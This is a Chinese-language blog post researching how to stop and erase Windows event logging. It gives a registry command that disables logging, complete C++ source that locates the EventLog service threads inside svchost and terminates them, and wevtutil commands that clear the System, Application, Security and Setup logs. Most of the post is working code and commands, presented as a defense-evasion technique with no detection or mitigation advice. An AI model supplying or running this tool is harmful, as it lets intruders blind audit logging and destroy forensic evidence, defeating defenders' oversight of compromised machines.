停止windows日志记录研究
方法一:注册表修改永久停止日志记录
需要注销/重启
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MiniNt"
方法二:停止记录日志记录的线程
思路:
tips:需要拥有SeDebugPrivilege权限,不然不能正确执行–>使用powershell管理权限运行即可
1.遍历所有进程获取所有进程PID
2.获取所有进程名为svchost.exe的进程PID
3获取这些进程命令行存在LocalServiceNetworkRestricted字符串的PID
4.获取这个PID的所有线程(TID),获取所有TID的服务名称。是eventlog/EventLog字符串服务名称杀掉线程
用到的API:
枚举所有进程:
CreateToolhelp32Snapshot
Process32First
Process32Next
x64获取指定进程块(PEB)/TEB信息:
ntdll.dll - NtQueryInformationProcess #获取进程块信息
ntdll.dll - NtQueryInformationThread #获取线程块信息
读取内存:
ReadProcessMemory
枚举所有线程:
CreateToolhelp32Snapshot
Thread32First
Thread32Next
获取到进程号之后我们需要识别具体的服务线程,在windows vista之后的系统,具体的服务线程约定使用servicemain作为入口点,同时服务线程自身会带有一个等同于服务名的tag,这个tag可以帮我们识别这个线程是否是我们寻找的,在x64线程teb中0x1720偏移的位置存放着service tag的数字标识
我们可以那这个数字标识使用I_QueryTagInformation api查询到具体service tag内容。
#include "stdafx.h"
#include <Windows.h>
#include <TlHelp32.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
char *exename = "svchost.exe";
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID;
typedef NTSTATUS(WINAPI* pNtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);
typedef struct _THREAD_BASIC_INFORMATION
{
NTSTATUS exitStatus;
PVOID pTebBaseAddress;
CLIENT_ID clientId;
KAFFINITY AffinityMask;
int Priority;
int BasePriority;
int v;
} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;
typedef enum _SC_SERVICE_TAG_QUERY_TYPE
{
ServiceNameFromTagInformation = 1,
ServiceNameReferencingModuleInformation,
ServiceNameTagMappingInformation,
} SC_SERVICE_TAG_QUERY_TYPE, *PSC_SERVICE_TAG_QUERY_TYPE;
typedef struct _SC_SERVICE_TAG_QUERY
{
ULONG processId;
ULONG serviceTag;
ULONG reserved;
PVOID pBuffer;
} SC_SERVICE_TAG_QUERY, *PSC_SERVICE_TAG_QUERY;
typedef NTSTATUS(WINAPI *NtQueryInformationProcessFake)(HANDLE, DWORD, PVOID, ULONG, PULONG);
typedef ULONG(WINAPI* pI_QueryTagInformation)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);
#define errorlog(data) {printf("API Error:%s Code:%d\n",data,GetLastError());}
void EnumProcess();
void test(int);
void checkeventlog(CHAR *, int);
void EnumProcess() {
HANDLE hprocesseap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hprocesseap) {
errorlog("Funcion EnumProcess--->CreateToolhelp32Snapshot");
}
PROCESSENTRY32W pe;
pe.dwSize = sizeof(PROCESSENTRY32W);
BOOL getlist = Process32First(hprocesseap, &pe);
while (getlist)
{
CHAR processname[100];
sprintf(processname, "%ws", pe.szExeFile);
if (strcmp(exename, processname) == 0) {
test(pe.th32ProcessID);
}
getlist = Process32Next(hprocesseap, &pe);
}
}
void test(int pid) {
HANDLE target = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
PEB peb = { 0 };
PROCESS_BASIC_INFORMATION pbi = { 0 };
NtQueryInformationProcessFake NtQueryInformationProcess;
RTL_USER_PROCESS_PARAMETERS Param = { 0 };
int commandlength = 0;
NtQueryInformationProcess = (NtQueryInformationProcessFake)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQueryInformationProcess");
NtQueryInformationProcess(target, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);
ReadProcessMemory(target, pbi.PebBaseAddress, &peb, sizeof(PEB), NULL);
ReadProcessMemory(target, peb.ProcessParameters, &Param, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL);
WCHAR *buffer = new WCHAR[Param.CommandLine.Length + 1];
ZeroMemory(buffer, (Param.CommandLine.Length + 1) * sizeof(WCHAR));
ReadProcessMemory(target, Param.CommandLine.Buffer, buffer, Param.CommandLine.Length, NULL); //获取进程命令行
if (wcsstr(buffer, L"LocalServiceNetworkRestricted")!=NULL) {
printf("PID:%d\n", pid);
checkeventlog(exename, pid);
}
}
void checkeventlog(CHAR *name, int pid) {
printf("%s %d\n", name, pid);
pNtQueryInformationThread NtQueryInformationThread = NULL;
pI_QueryTagInformation I_QueryTagInformation = NULL;
THREADENTRY32 te;
THREAD_BASIC_INFORMATION tbi = { 0 };
SC_SERVICE_TAG_QUERY tagQuery = { 0 };
te.dwSize = sizeof(THREADENTRY32);
HANDLE hTag = NULL;
NtQueryInformationThread = (pNtQueryInformationThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationThread");
I_QueryTagInformation = (pI_QueryTagInformation)GetProcAddress(LoadLibrary(L"advapi32.dll"), "I_QueryTagInformation");
HANDLE threads = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (INVALID_HANDLE_VALUE == threads) {
errorlog("checkeventlog--->CreateToolhelp32Snapshot");
}
BOOL getlist = Thread32First(threads, &te);
while (getlist) {
if (te.th32OwnerProcessID == pid) {
HANDLE hthread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
NtQueryInformationThread(hthread, (THREAD_INFORMATION_CLASS)0, &tbi, 0x30, NULL);
HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, te.th32OwnerProcessID);
ReadProcessMemory(hprocess, ((PBYTE)tbi.pTebBaseAddress + 0x1720), &hTag, sizeof(HANDLE), NULL);
tagQuery.processId = te.th32OwnerProcessID;
tagQuery.serviceTag = (ULONG)hTag;
I_QueryTagInformation(NULL, ServiceNameFromTagInformation, &tagQuery); //获取线程的服务名称
CHAR servicename[MAX_PATH] = { 0 };
sprintf(servicename, "%ws", tagQuery.pBuffer);
if (strcmp(servicename, "EventLog")==0) {
printf("Kill %d %s\n", te.th32ThreadID, servicename);
TerminateThread(hthread, 0);
}
else if (strcmp(servicename, "eventlog")==0) {
printf("Kill %d %s\n", te.th32ThreadID, servicename);
TerminateThread(hthread, 0);
}
tagQuery = { 0 }; //重置线程数组,不然只有一个线程的信息一直刷一样的 -作为一个例子记得写入笔记 (
}
getlist = Thread32Next(threads, &te);
}
}
int main()
{
EnumProcess();
system("pause");
return 0;
}
Windows7测试:
Windows10测试:
清除windows日志
(清除所有日志,但是将生成一个事件ID为1102的日志,用于清除日志)
wevtutil cl System
wevtutil cl Application
wevtutil cl Security
wevtutil cl Setup
参考链接
https://idiotc4t.com/defense-evasion/fuck-eventlog
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:停止windows日志记录研究
本文作者:九世
发布时间:2021-05-18, 12:09:39
最后更新:2021-05-18, 12:20:46
原始链接:http://jiushill.github.io/posts/c6ff3736.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。